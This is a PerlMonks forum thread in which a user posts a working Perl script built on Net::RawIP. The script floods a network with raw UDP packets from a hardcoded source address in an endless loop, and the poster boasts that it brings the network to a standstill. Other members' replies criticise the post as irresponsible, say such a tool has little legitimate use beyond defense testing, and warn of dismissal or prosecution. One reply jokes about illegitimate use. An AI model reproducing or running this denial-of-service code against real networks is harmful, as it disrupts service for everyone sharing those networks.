Beefy Boxes and Bandwidth Generously Provided by pair Networks
The stupid question is the question not asked
 
PerlMonks  

network flooder

by hnd (Scribe)
on Nov 10, 2009 at 15:52 UTC ( #806248=CUFP: print w/ replies, xml ) Need Help??

its been a long time (um... very long time) since i lasted accessed perl monks..... i've been bit busy with my college work... increasing my GPA (am glad to say its reached 3.2/5) anyways.... so i came back to my best friends (C and perl) and as an inaugral lesson i learned the Net::RawIP module and made my network flooder..... it creates a packet storm bringing the network to an ultimate standstill.... it works.... i've tried it.... though my neighbours came and almost killed me after that.... :p
#!/usr/bin/perl use Net::RawIP; use strict; use warnings; my $rawpack=Net::RawIP->new({ ip=>{saddr=>"192.168.12.180",daddr=>"192.168.1 +0.12"}, udp=>{source=>80,len=>1000,data=>"hnd-ucb"} }) or die "cannot create raw packet:$!\n"; #send or rather broadcast indefinitely 100 packets at a time system("clear"); my ($count1,$count2)=0; my($saddr,$daddr,$source,$len,$data)=$rawpack->get( {ip=>[qw (saddr da +ddr)], udp=>[qw (source len data)]}); print "$saddr\n$daddr\n$source\n$len\n$data\n"; print "flooding\n"; sleep(5); for(;;) { $rawpack->send(0,100); $count1++; if($count1==10**5) { $count1=0; $count2++; print "$count2"; system("clear"); } }
the values of the saddr and daddr parameters are hardcoded (am sorry).... you can replace it with command line arguments or hardcode any other value..... leave me a post if this sux or something.... brrrrrrrrrreeeeeeee :D
=====================================================
i'am worst at what do best and for this gift i fell blessed...
i found it hard it's hard to find well whatever
NEVERMIND

Comment on network flooder
Download Code
Re: network flooder
by CountZero (Bishop) on Nov 11, 2009 at 07:14 UTC
    I do not think this is a cool use of Perl.

    It is like a child with a box of matches who burns the house down, just to show he can.

    Perl gives you great power, but with this power must come great responsibility. Meditate a bit on that and then come back as a better and more humble self.

    CountZero

    A program should be light and agile, its subroutines connected like a string of pearls. The spirit and intent of the program should be retained throughout. There should be neither too little or too much, neither needless loops nor useless variables, neither lack of structure nor overwhelming rigidity." - The Tao of Programming, 4.1 - Geoffrey James

      i totally agree CountZero..... its just that... um.... no excuses.... while pasting this code here i kept in mind that network flooders are used to test the network's load capacity.... i tested it on my network just to see that whether it works or not..... am a hacker CountZero.... not a cracker.... i'll never ever misuse my knowledge...
      =====================================================
      i'am worst at what do best and for this gift i fell blessed...
      i found it hard it's hard to find well whatever
      NEVERMIND
Re: network flooder
by zentara (Archbishop) on Nov 11, 2009 at 12:59 UTC
    .... i always wondered how someone might do that ;-)

    even though i agree that this code should be reaped....i'm glad i got a copy first ..... who knows? .....it could come in handy as a training script for network defense engineers


    I'm not really a human, but I play one on earth.
    Old Perl Programmer Haiku
Re: network flooder
by moritz (Cardinal) on Nov 13, 2009 at 12:24 UTC
    I just want to point out a few other tools for network diagnosis, of which I hope that they are less harmful if accidentally mis-used:
    • iperf for TCP performance testing
    • netcat, the swiss army knife of network connections
    • nmap for port scanning

    I have yet to find a legitimate use for a network flooder, except defense testing.

      "I have yet to find a legitimate use for a network flooder"

      Unless the desired effect was to be almost killed by a neighbour, in which case, mission accomplished :P

        the whole point is illegitimate use :-) .... like what would james bond use if he had to take out osama's network?

        I'm not really a human, but I play one on earth.
        Old Perl Programmer Haiku
      netcat.... i can do "wonders" with it :p... nmap... though i havent used it much but still i can say that if these things are mis-used they can create a havoc.... for the netcat thing look at this... its just an example of the power of netcat.... and trust me monks am a HACKER not a CRACKER.... i'll always work towards the well being of the masses.... the flooder is used as a network testing tool.... i coded it in perl just to "keep it simple.... stupid".... the neighbour thing happened when i tested it.... i've never tested it again....
      =====================================================
      i'am worst at what do best and for this gift i fell blessed...
      i found it hard it's hard to find well whatever
      NEVERMIND

        Tools such as netcat and nmap can be used to do 'bad' things, however unlike your 'tool', they also provide a great many other non destrictive functions. Along with a ridiculous number of period characters you tell us:

        "my network flooder..... it creates a packet storm bringing the network to an ultimate standstill"

        Hardly what any network administrator would describe as a useful network "testing" tool. Perhaps the first S in the bacronym you mention should also be 'Stupid'.

        Running this code on a network you do not own or have appropriate permission to cripple may result in more than an attack from your 'neighbour', you may be fired or prosecuted depending on who you work for and where you live.

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: CUFP [id://806248]
Approved by tbone1
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others pondering the Monastery: (10)
As of 2014-09-17 09:56 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    How do you remember the number of days in each month?











    Results (71 votes), past polls